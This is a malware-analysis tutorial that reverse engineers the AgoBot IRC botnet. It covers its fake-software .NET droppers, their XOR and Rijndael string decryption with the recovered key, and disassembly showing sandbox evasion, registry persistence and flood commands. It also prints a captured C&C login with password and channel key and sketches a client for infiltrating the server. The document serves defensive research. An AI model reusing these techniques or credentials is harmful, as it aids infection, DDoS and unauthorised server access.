AgoBot Botnet Reverse Engineering
From UIC
In Depth Analysis of Backdoor.AgoBot IRC Botnet
Contents |
| AgoBot Botnet Reverse Engineering | |
|---|---|
| Author: | Evilcry |
| Email: | evilcry@gmail.com |
| Website: | Home page |
| Date: | 07/01/2011 (dd/mm/yyyy) |
| Level: |
|
| Language: | English |
| Comments: | |
Introduction
Well, let's start this new year with an IRC Botnet commonly identified as Backdoor.AgoBot.
The aim of this paper is to show not only the Botnet itself, but also the Evolution of involved Droppers via a classical Reverse Engineering Approach. This time we will deal with .NET Targets, at the same time I want to show, from a classical Forensic point of view how informations can be carved out from such kind of Executables. Successively we will discuss about Generic Botnet Tracking process.
In this way newbies should have a basical complete view of what's involved into botnet research.
Tools & Files
Analysis
Samples are taken from malware section of kernelmode.info forum.
- Microsoft Office 2010 32b Pro+ incl. Activation!!!!!.exe
- KLU7CH~1.EXE
Usually viruses that belong to the same family are pretty similar. We can verify this assumption via CTPH ( Context Triggered Piecewise Hashes – also called Fuzzy Hashing) an algorithm usually used for Spam Detection.
6Rcjc5ANOrA3Fh5iG2uu9FPbnY2
SecondSample -> 3072:pTkqSzk1ncUnegRJT3ik31arDLYmVYsfKQNwJ/csU0ul0ZuTHQLCDSj:RkqSShnBED
LnRPNRsULyZuDoCDS
It's immediate to see that our two samples have many differences this implies, according to the posting Chronology that we have had an evolution of the droppers.
Direct Reverse Engineering will demonstrate us that we're right because KLU7CH is much more complex than the first one.
Both executables comes out as Fake Tools.
First Sample Analysis
Starting from the most easy dropper Microsoft Office 2010 32b Pro+ incl. Activation!!!!!
MD5 : C4CED35A17D1BE8073895B0AFB8FC4FD SHA-1: FC02898EEFF4E50F53D46809D8C1A1AB5C083A38 File Size: 196.00 KB (200704 bytes)
According to CFF, the executable is a "Microsoft Visual Studio .NET" one.
As you should know .NET executables are a little bit different from classical ones. From a Malware and Forensic point of view, important and detailed informations are located into .NET Directory and its MetaData Section. Schematically we can enumerate the following entries:
- .NET Directory
- MetaData Header
- MetaData Streams
- Tables Header
- Tables
- .Strings
- .US
- .GUID
- .BLOB
The most interesting informations are located into MetaData Tables:
From Module Entry we have the first important information, the original name of the malicious executable was bozz.exe.
Successively as evidenced in Red Rectangles we have an Array of Methods and Parameters. An overview of these Array Entries will give us an idea of the number of methods implemented and their names, which could come handy to identify Decryption Functions, let's see how Methods array appear:
In evidence we have the methods Main and decrypt, remaining names as it's obvious are obfuscated, successively we will realize that they are quite useless for our understanding scopes.
We can obtain some additional information about methods involved. Let's say we want to know more about decrypt() function, .NET stores informations on parameters:
According to Table Section, we have a Parameter Array, here is indexed the decrypt parameter, located at entry index 9.
Finally our function will be decrypt(message, password)
The undoubt vantage of dealing with .NET Executables is that they can be Decompiled, using .NET Reflector.
We can decompile code contained into Internal Sealed Class evidenced in figure.
Code is pretty easy to understand, a new executable is dropped and executed, in case str2 variable is "T" (Transfer) file is downloaded and executed, in our case its value is "F", so file is not downloaded.
Let's see the algorithm involved into decryption routine:
Algorithm is pretty trivial, XOR Based Encryption. In a first instance latest byte of CipherText is XORed with a constant value of 0x70, successively whole CipherText is decrypted with another XOR between the constant value previously obtained and a byte from the password. When password len is reached counter is cleared and the same password is reapplied again, until the CipherText is completed.
The Cryptanalysis Point of View
In this paragraph we are going to give an overview of the encryption system used under a Cryptanalysis Point of View.
According to the decompiled decryption algorithm:
- We have a first layer of Base64 Armoring, this implies that no key is needed and we can work with a block of data extracted from the entire cipherText.
- Two XOR are applied to the decoded from Base64 cipherText.
Base64 constitutes only a portability or so called armored layer, this does not affect the Reversibility of the Encryption Algorithm.
XOR Encryption is based on a double layered process, basically two XOR components:
plainText[i] = ( cipherText XOR password[i] ) XOR one_byte_key
The password[i] and one_byte_key are applied cyclically to the plaintext, you can also see that password[i] (constant) is one byte like the one_byte_key (constant) and combined are:
final_password[i] = password[i] XOR one_byte
The one byte key given by message[message.Lenght-1] XOR 0x70 does not add any additional security to the cipherText.
Attack Scenario should be now clear for the reader, we have a Classical Symmetric Encryption algorithm with in a supposed ciphertext only context, it's supposed because we know some pieces of the plaintext due to the fact that File Format is known: PE.
First step is obvious, Base64 Decoding.
In presence of these kind of encryption systems the first operation to do is computing the key lenght. This can be done by calculating Autocorrelation of the Document.
"There are two stages in the analysis:
First of all the key length used is worked out, and then the key itself.
The key length is calculated using autocorrelation. Since in most documents not every character occurs equally often, the probability of two identical characters occurring is relatively large if they are separated by a multiple of the key length. Therefore in an autocorrelation analysis a typical comb formation is generated, in which the individual teeth are separated by exactly the length of the key. If automatic detection of the key length produces an incorrect result, it is possible to determine the key length manually.
Once the key length has been worked out, the actual key used is calculated. This is done by performing a frequency analysis " - from CrypTool
Let's see Autocorrelation Plot
In our case if we take the first data block, that corresponds to PE Header, due to the presence zero-padding, the most common character will be 0x00 (this can be observed with a compared plaintext Frequency Analysis).
Finally Derived Key Lenght is 16 with (as expected) Most Common value of 0x00, by overlapping these two results we can know the Encryption Key, which is:
73 77 6C 46 77 6E 73 43 74 74 60 4B 75 49 5D 6A
Entire decoded ciphertext is placed into buffer2 that will contain the malicious executable decrypted that's called oxVCfvciCKyeaaY.exe as final issue this executable will be executed.
Here ends the first dropper, what are Evidences of Infection, limited to the dropper execution?
1. The Presence of oxVCfvciCKyeaaY.exe executable into SpecialFolder -> Templates Directory. 2. Other Evidence Elements will be collected during Reverse Engineering of the dropped Executable, with the Spawned Process and Mutex Presence.
The Second Dropper KLU7CH
The second AgoBot Botnet dropper, which is the evolution of the first one, is much more complex, due to the presence of a strong encryption algorithm Rijndael that obfuscates all strings involved into infection process.
MD5: 312E26D93778ACAB517429D96D32AC77 SHA-1: 46D71DC4E05F1DDC214429F7BE99227BCF3BCC79 File Size: 288.00 KB (294912 bytes)
This time we will directly decompile it with .NET Reflector
We have only one internal sealed class with an unique method in clear which is the Mail().
First operation, is creation of a new Mutex the needed arguments are two: Mutex(False, Yc(..parameters..))
Yc() as should be clear from its arguments has the scope of Decryption Function, in this case will produce the string that belongs to the Named Mutex.
String s like in the first dropper, is Base64 Encoded, buffer will contain the corresponding decoded byte array that will be used by xf9 function.
We will see that xf9 it's a method that implements Rijndael decryption, again this time an encoded executable is decrypted and dropped, path used is:
%\ApplicationData\Microsoft\Security
Finally a new Registry Key Entry is Created.
As you have seen, all involved strings are decrypted on fly with two functions Yc() and xf9() let's analyze these:
The most interesting thing to observe is that Yc is a wrap (with some other basical stuff) around xf9.
Xf9 finally results the core of decryption routine, that as can be easly seen it's it's an implementation of Rijndael.
To decode strings, I've ripped from disassembly view the two decryption functions Yc and xf9, and refactored the involved function arguments finally cleared xf9 from useless code.
This time our dropper leaves more Evidences than the first one:
- Mutex Name.
- Executable Dropped and Executed.
- New Registry Key Entry.
Dropped Executable Analysis ( The Botnet Core )
Let's inspect oxVCfvciCKyeaaY.exe
MD5: F9BB16D212C4D5B83CF09881D14B5685 SHA-1: 77E64986406FCDE246B98D2CFF8F92D2B04B45D5 File Size: 41.50 KB (42496 bytes) Compiler Used: Microsoft Visual C++ 6.0
No resources available.
This time we deal with a classical executable, compiled with Visual C++ 6 so we need to locate WinMain() entry and follow the code contained in.
00402A9A test eax, eax
00402A9C jz short loc_402AA5 ; Jump if we are
NOT into and Emulator
00402A9E xor eax, eax
00402AA0 jmp Exit ; Jump Out
00402AA5 loc_402AA5:
00402AA5 push 2 ; uMode
00402AA7 call ds:SetErrorMode
00402AAD push offset Name ; "45h3ghg"
00402AB2 push 0 ; bInheritHandle
00402AB4 push 0 ; dwDesiredAccess
00402AB6 call ds:OpenMutexA
00402ABC test eax, eax
00402ABE jz short loc_402AC4 ; If mutex opening
FAILS then Exit
00402AC0 xor eax, eax
00402AC2 jmp short Exit
AgoBot implements a basical system to check if the code is executed in a controlled environment, like VirtualMachines/Sandboxing Systems/HoneyPots, here the code:
00402795 mov dword ptr [ebp-98h], offset aHoney ; "honey"
0040279F mov dword ptr [ebp-94h], offset aVmware ; "vmware"
004027A9 mov dword ptr [ebp-90h], offset aCurrentuser ; "currentuser"
004027B3 mov dword ptr [ebp-8Ch], offset aNepenthes ; "nepenthes"
004027BD mov dword ptr [ebp-4], 80h
004027C4 lea eax, [ebp+pcbBuffer]
004027C7 push eax ; pcbBuffer
004027C8 lea eax, [ebp+Str]
004027CE push eax ; lpBuffer
004027CF call ds:GetUserNameA
004027D5 lea eax, [ebp+Str]
004027DB push eax ; lpsz
004027DC call ds:CharLowerA
The check is pretty trivial and easly deceivable, application checks if the victim UserName belongs to some Emulation System. If emulation is revealed, execution of the malicious code ends without any infection.
Otherwise, a Mutex called 45h3ghg is opened, it's interesting to say here that often Mutex constitutes an Evidence of Infection due to their unique Names.
00402AD9 push eax ; lpString1
00402ADA lea eax, [ebp+Dest]
00402AE0 push eax ; lpString2
00402AE1 call sub_4029A8
; Check if the executable is running as
00402AE1 ; 'winmsgr105.exe'
00402AE6 pop ecx
00402AE7 pop ecx
00402AE8 test eax, eax
00402AEA jnz short loc_402B01
00402AEC lea eax, [ebp+String1]
00402AF2 push eax ; Source
00402AF3 lea eax, [ebp+Dest]
00402AF9 push eax ; Dest
00402AFA call _strcpy
00402AFF pop ecx
00402B00 pop ecx
At this point I strongly suggest you to use OllyDbg2 with Event ChildProcess Break, you will understand suddenly why.
.text:004029B3 push [ebp+lpString1] ; lpFilename
.text:004029B6 push 0 ; lpModuleName
.text:004029B8 call ds:GetModuleHandleA
.text:004029BE push eax ; hModule
.text:004029BF call ds:GetModuleFileNameA
.text:004029C5 push [ebp+lpString2] ; pszPath
.text:004029C8 push 0 ; dwFlags
.text:004029CA push 0 ; hToken
.text:004029CC push 1Ah ; csidl
.text:004029CE push 0 ; hwnd
.text:004029D0 call ds:SHGetFolderPathA
.text:004029D6 test eax, eax
.text:004029D8 jl short loc_402A59
; If already exists "winmsgr105.exe"
.text:004029D8 ; Then EXIT
.text:004029DA push offset aWinmsgr105_exe
; "winmsgr105.exe"
;...
.text:00402A21 call ds:CopyFileA
.text:00402A27 push 7 ; dwFileAttributes
.text:00402A29 push [ebp+lpString2] ; lpFileName
.text:00402A2C call ds:SetFileAttributesA
.text:00402A32 push [ebp+lpString2] ; Str
.text:00402A35 call RegistryKey_Creation ;Reg. Key Stuff
.text:00402A3A pop ecx
.text:00402A3B push 5 ; nShowCmd
.text:00402A3D push 0 ; lpDirectory
.text:00402A3F push 0 ; lpParameters
.text:00402A41 push [ebp+lpString2] ; lpFile
.text:00402A44 push offset Operation ; "open"
.text:00402A49 push 0 ; hwnd
.text:00402A4B call ds:ShellExecuteA
.text:00402A51 push 0 ; uExitCode
.text:00402A53 call ds:ExitProcess
The same file is renamed as winmsgr105.exe and copied. Successively the new file is Executed via ShellExecuteA. Now if we have ChildProcess Tracking enabled Olly2 will break into the new process.
; "Taskman"
.text:00402907 mov [ebp+lpSubKey], offset aSoftwareMicros
; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
.text:0040290E mov [ebp+var_4], offset aSoftwareMicr_0
; "Software\\Microsoft\\Windows\\CurrentVersi"...
.text:00402915 push 0 ; lpdwDisposition
.text:00402917 lea eax, [ebp+hKey]
.text:0040291A push eax ; phkResult
.text:0040291B push 0 ; lpSecurityAttributes
.text:0040291D push 3 ; samDesired
.text:0040291F push 0 ; dwOptions
.text:00402921 push 0 ; lpClass
.text:00402923 push 0 ; Reserved
.text:00402925 push [ebp+lpSubKey] ; lpSubKey
.text:00402928 push HKEY_LOCAL_MACHINE ; hKey
.text:0040292D call ds:RegCreateKeyExA
;...
.text:00402973 push HKEY_CURRENT_USER ; hKey
.text:00402978 call ds:RegCreateKeyExA
;...
.text:00402994 push [ebp+hKey] ; hKey
.text:00402997 call ds:RegSetValueExA
.text:0040299D push [ebp+hKey] ; hKey
.text:004029A0 call ds:RegCloseKey
Two new entries:
first one Software\Microsoft\Windows\CurrentVersion\Run it's used to make the botnet agent reboot-survive
second insert user "tht4545ttr" into HKEY_CURRENT_USER.
.text:00402B17 call sub_40282B
; Other Reg Stuff related to Botnet Activity
Finally we land to the last piece of code, that's the core of IRC Botnet Activity.
.text:00402B1F push 0 ; lpParameter
.text:00402B21 push offset sub_402729 ; lpStartAddress
.text:00402B26 call sub_4030A7 ; CreateThread
To catch the New Thread at this point you need to have selected the Debug Event Break on New Thread
.text:00402732 test eax, eax
.text:00402734 jnz short loc_40273E
; Exit if WSAStartup fails
.text:00402736 push 0 ; dwExitCode
.text:00402738 call ds:ExitThread
.text:0040273E:
.text:0040273E push offset Name ; "45h3ghg"
.text:00402743 push 0 ; bInitialOwner
.text:00402745 push 0 ; lpMutexAttributes
.text:00402747 call ds:CreateMutexA
.text:0040274D mov [ebp+hMutex], eax
.text:00402750 call ds:GetTickCount
.text:00402756 push eax
.text:00402757 call sub_4038F3 ; seed = EAX
.text:00402762 call sub_402618
; Build Credentials & Connect
Code is self explainatory I think, if WinSock fails the running thread ends and consecutively the main infector.
A new mutext named is created and finally a seed is produced via GetTickCount, this will be used in future to generate some random strings necessary to enstablish the IRC connection with the malicious server. It's now time deep dive into the core fuction call sub_402618 that's responsible of Building Credentials required by the IRC Server and suddenly after enstablishing that connection.
.text:00402645 jnz short loc_402652
.text:00402647 and dword ptr [ebp-8], 0
.text:0040264B mov eax, [ebp-10h]
.text:0040264E inc eax
.text:0040264F mov [ebp-10h], eax
.text:00402652
.text:00402652 mov eax, [ebp-8]
.text:00402655 imul eax, 0Ch
.text:00402658 mov ax, word_40B1CC[eax]
.text:0040265F push eax ; hostshort
.text:00402660 mov eax, [ebp-8]
.text:00402663 imul eax, 0Ch
.text:00402666 push off_40B1C8[eax] ; int
.text:0040266C call _getHostByName
; Resolve Host and Connect
.text:00402671 pop ecx
.text:00402672 pop ecx
.text:00402673 mov [ebp-0Ch], eax
.text:00402676 cmp dword ptr [ebp-0Ch], 0
.text:0040267A jle loc_40270F
; Jump if connect() failed
.text:00402680 and dword ptr [ebp-8], 0
.text:00402684 and dword ptr [ebp-10h], 0
.text:00402688 push 0
.text:0040268A call _randomize ; rand()
.text:0040268F pop ecx
.text:00402690 push eax ; random string
.text:00402691 push dword_40B1E8
.text:00402697 call Build_NickName
; Get OS (GetVersionExA) ie NickName Build
.text:00402697 ; [ _COUNTRY_ | _OS_ | UserName | _RAND_ ]
The host is resolved via getHostByName and connection enstablished, NickName contains the classical informations in the classical way of IRCBotnets, geo info | os | machine username and a random string.
.text:0040269D push eax ; nickname
.text:0040269E mov eax, [ebp-8]
.text:004026A1 imul eax, 0Ch
.text:004026A4 push off_40B1D0[eax] ; serverpass
.text:004026AA push dword ptr [ebp-0Ch] ; s
.text:004026AD call _IRC_STUFF
; IRC Enstablish Connection
It's now time start IRC negotiation, informations required are NickName, ServerPass, Username, TrueName. At this point, if connection with the server is correctly enstablished we bacame a 'new servant'.
In idle conditions, we send every 5 seconds a PING to the server, that as usual replies with a PONG.
The question now is, what task need to accomplish a drone?
Drone Analysis
The first thing I've noticed is that the channel name is #KLu7cHzDDos if you pay attention you can see DDos word at the end.
We can suppose that AgoBot is a DDoS System, but we need the proof and the knowledge of what attack techniques are used.
Due to the fact that we are inside the networking functionalities we must expect that there is a routine that parses received buffer and performs the attack.
.text:004026B5 test eax, eax
.text:004026B7 jle short loc_40270D
.text:004026B9 push dword ptr [ebp-0Ch] ; nfds
.text:004026BC call sub_402508 ; Commands Interpreter
Let's see how works the command parser:
.text:0040253B call sub_401B6E ; select(nfds)
.text:00402540 pop ecx
.text:00402541 mov [ebp-4], eax
; eax contain the number of ready
.text:00402541 ; socket decriptors
.text:00402544 cmp dword ptr [ebp-4], 0
.text:00402548 jle short loc_4025C8
; if number_of_ready_sockets <= 0 or v3 == 0x7FF then break
.text:00402548
.text:0040254A cmp dword ptr [ebp-808h], 7FFh
.text:00402554 jnz short loc_402558
.text:00402556 jmp short loc_4025C8
.text:00402558 push 0 ; flags
.text:0040255A push 1 ; len
.text:0040255C mov eax, [ebp-808h]
.text:00402562 lea eax, [ebp+eax+Dst]
.text:00402569 push eax ; buf
.text:0040256A push [ebp+nfds] ; s
.text:0040256D call ds:recv
.text:00402573 mov [ebp-80Ch], eax
; if number of bytes received <= 0 then return 0
.text:00402573
.text:00402579 cmp dword ptr [ebp-80Ch], 0
.text:00402580 jg short loc_402589
.text:00402582 xor eax, eax
.text:00402584 jmp locret_402616
.text:00402589 mov eax, [ebp-808h]
.text:0040258F add eax, [ebp+num_of_bytes_received]
.text:00402595 mov [ebp-808h], eax
.text:0040259B mov eax, [ebp-808h]
.text:004025A1 movsx eax, byte ptr [ebp+eax-805h]
.text:004025A9 cmp eax, 0Dh
; if the value received is 0xD then break
.text:004025A9
.text:004025AC jz short loc_4025C1
.text:004025AE mov eax, [ebp-808h]
.text:004025B4 movsx eax, byte ptr [ebp+eax-805h]
.text:004025BC cmp eax, 0Ah
.text:004025BF jnz short loc_4025C3
; if value received != 0xA then return the number of ready socket descriptors
.text:004025BF
.text:004025C3 jmp loc_402538
.text:004025C8 cmp [ebp+number_of_ready_sockets], 0
.text:004025CC jg short loc_4025D3
; if value received >= 2 then
.text:004025CC ; call 00402337
Code is fully commented, initially application checks the number of ready socket descriptors with select(), if the value is <= 0 means that some error happeded or time limit expires before any sockets are selected. Various cases of recv() are commented, now we must see what happens in call 00402337 where the correct commands are handled with the proper routine. Code is pretty long, and in some cases boring and we don't want to terrify our newbies :) so here I'll go more briefly. call 00402337 takes two arguments SocketDescriptor S and char *Str1.
Commands
Every Botnet has a set of commands, that the C&C Master (the owner of the malicious server) can send to its victims. Without going too in depth, here how this set of instructions appear from deadlist code
.text:00401CCA mov eax, [ebp+10h]
.text:00401CCD mov ecx, [ebp+0Ch]
.text:00401CD0 push dword ptr [ecx+eax*4] ; Str1
;...
.text:00401CD8 pop ecx
.text:00401CD9 pop ecx
.text:00401CDA test eax, eax
.text:00401CDC jnz short loc_401CF8
;jump to the next Command case
.text:00401CDE push [ebp+Str1] ; Str1
.text:00401CE1 push offset aLucasRunzDisSh
; "LuCaS RuNz DiS ShiT NuKKa! "
.text:00401CE6 push 5 ; int
.text:00401CE8 push [ebp+s] ; s
.text:00401CEB call _IRCStringParse_
Code is pretty clear, and we can easly profile the set of instructions. If 'v' command is sent is called call _IRCStringParse_ with the string that you can see from comments, else execution jump to the next case. Basically all commands follow this design, so quickly:
- "v" => Version
- "r" => Reconnect
- "hhhhe45h" => Disconnect
- "ththtrht45h45" => Remove
- "hegre" => Reboot Victim Machine
These commands belong to a group of instruction that we can call Victim Management, let's now see the commands that effectively Determine the Typology of Botnet, for teaching purposes we can call these instructions as Attack Commands.
Essentially the code design for these commands is unchanged relatively to the Victim Management ones.
- "dl" => Download Functionality
- "supersyn" => DDoS Functionality
- "udp" => UDP Flood Functionality
Due to the strict Dependence with the Time, last two commands need to be executed in separate threads.
Network
In this chapter we will see network activity captured from Wireshark.
You can distinguish two separate flows:
- DNS Resolution
- TCP Connection
The most interesting informations are given by the TCP Stream, just select one of gray entries (TCP Packet) right click and let Wireshark reconstruct for you entire Stream.
You can clearly see a classical IRC behaviour:
PASS \g*mp NICK {N}|ITA|XP|Xxxx-DF595FE|878116 USER yomvig "" "wwxj" :Xxxx-DF595FE
- - 001 {N}|ITA|XP|Xxxx-DF595FE|878 :Welcome to the trye5 IRC Network {N}|ITA|XP|Xxxx-DF595FE|878!yomvig@*
- - 002 {N}|ITA|XP|Xxxx DF595FE|878 :Your host is t3adjeu.govm, running version Unreal3.2.8.1
- - 003 {N}|ITA|XP|Xxxx-DF595FE|878 :This server was created Wed Nov 24 2010 at 15:44:13 EST
- - 005 {N}|ITA|XP|Xxxx-DF595FE|878 UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=3 CHANLIMIT=#:3 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 :are supported by this server
- - 005 {N}|ITA|XP|Xxxx-DF595FE|878 WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=trye5 CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ :are supported by this server
JOIN #KLu7cHzDDos imklu7chz
- - 251 {N}|ITA|XP|Xxxx-DF595FE|878 :There are 1 users and 55 invisible on 1 servers
JOIN #KLu7cHzDDos *
PRIVMSG #KLu7cHzDDos :New Servant.
- - 404 {N}|ITA|XP|Xxxx-DF595FE|878 #KLu7cHzDDos :You need voice (+v) (#KLu7cHzDDos)
In bold the most interesting things, that we can resume in:
- Login Credentials.
- Channel and Key.
- Modes.
- Number of victims 55.
Overview on Botnet Tracking
Well, at this point of analysis we have all necessary elements to move on the second stage of Botnet Analysis, that leave the Reverse Engineering approach and starts the Botnet Tracking problem.
Essentially as you have seen, the Victim became an IRC Client of the C&C (Command and Control) Server.
Usually Victims are used form massive Spam Campaigns or DDoS and other criminal activites involved.
Became clear that a botnet threat need to be fully investigated on its behaviour and structure. This investigation activity basically means Observation of what happens, how the structure evolves and what are the new malicious executables delivered.
So, tracking means Infiltration into the Malicious Server, in the case of an IRC based Botnet (there are also HTTP and P2P ones) basically consists in emulating a victim and keeping track of all network activities involved. In other words we use stolen credentials ( obtained from reverse engineering of the executable ) to log & watch the server activity.
It's not a good practice to use well known IRC Clients (like mIrc) because it's easy for a Server to spot a fake client via CTCP Version Requests.
CERTs, Law Enforcements, Malware Research Organizations and Malware Intelligence companies uses custom IRC clients usually in multi-thread solution to keep track of malicious server activities and store collected data.
But we are common users, should we stop our research at this point? :) By keeping clear in mind that we, as classical homeland users cannot reach sophistication level of above mentioned groups.
We have two possibilities:
- Became a Victim and keep track via packet capture.
- Code a fake Client.
The second one is much more interesting, here I'll go to give you some advice.
Python best fits for this purpose because is fast to code due to the presence of nice libraries like use python-irclib
“This library is intended to encapsulate the IRC protocol at a quite low level. It provides an event-driven IRC client framework. It has a fairly thorough support for the basic IRC protocol, CTCP and DCC connections.”
python-irclib [1]
The second important reason is that often is required to extend your client in order to reply correctly to specific bot master commands. In other words you have to correctly emulate the reply of a true victim otherwise there is an high risk to be Banned.
As you have seen during our analysis certain elements of Credentials are builded with a random element, you must respect that issue basically because Always same nick is Suspect, this can be clearly accomplished by emulating the random string build algorithm.
# Connection information
network = 'your_network'
port =
channel = ''
nick = ''
name = ''
# Create an IRC object
irc = irclib.IRC()
# Create a server object, connect and join the channel
server = irc.server()
server.connect ( network, port, nick, ircname = name )
server.join ( channel )
# Jump into an infinite loop
irc.process_forever()
Code is taken from Devshed. Further informations, especially on IRC Event Handling can be found here:
IRC-Event-Handling[2]
Well, here ends this little paper whose the aim is to show the basical anatomy of a Botnet Investigation starting from classical Reverse Engineering of the involved executables.
Thanks
Quequero, I really appreciate your efforts on this new Malware Analysis branch of UIC :), My Cat, Ntoskrnl, |Absinth|, Nex, Andre' di Mino, Mila Parkour, Swirl, Darkangel, Insomniac and last but not least my ARTeam mates Gunther and Deroko :)
Disclaimer
I documenti qui pubblicati sono da considerarsi pubblici e liberamente distribuibili, a patto che se ne citi la fonte di provenienza. Tutti i documenti presenti su queste pagine sono stati scritti esclusivamente a scopo di ricerca, nessuna di queste analisi è stata fatta per fini commerciali, o dietro alcun tipo di compenso. I documenti pubblicati presentano delle analisi puramente teoriche della struttura di un programma, in nessun caso il software è stato realmente disassemblato o modificato; ogni corrispondenza presente tra i documenti pubblicati e le istruzioni del software oggetto dell'analisi, è da ritenersi puramente casuale. Tutti i documenti vengono inviati in forma anonima ed automaticamente pubblicati, i diritti di tali opere appartengono esclusivamente al firmatario del documento (se presente), in nessun caso il gestore di questo sito, o del server su cui risiede, può essere ritenuto responsabile dei contenuti qui presenti, oltretutto il gestore del sito non è in grado di risalire all'identità del mittente dei documenti. Tutti i documenti ed i file di questo sito non presentano alcun tipo di garanzia, pertanto ne è sconsigliata a tutti la lettura o l'esecuzione, lo staff non si assume alcuna responsabilità per quanto riguarda l'uso improprio di tali documenti e/o file, è doveroso aggiungere che ogni riferimento a fatti cose o persone è da considerarsi PURAMENTE casuale. Tutti coloro che potrebbero ritenersi moralmente offesi dai contenuti di queste pagine, sono tenuti ad uscire immediatamente da questo sito.
Vogliamo inoltre ricordare che il Reverse Engineering è uno strumento tecnologico di grande potenza ed importanza, senza di esso non sarebbe possibile creare antivirus, scoprire funzioni malevole e non dichiarate all'interno di un programma di pubblico utilizzo. Non sarebbe possibile scoprire, in assenza di un sistema sicuro per il controllo dell'integrità, se il "tal" programma è realmente quello che l'utente ha scelto di installare ed eseguire, né sarebbe possibile continuare lo sviluppo di quei programmi (o l'utilizzo di quelle periferiche) ritenuti obsoleti e non più supportati dalle fonti ufficiali.















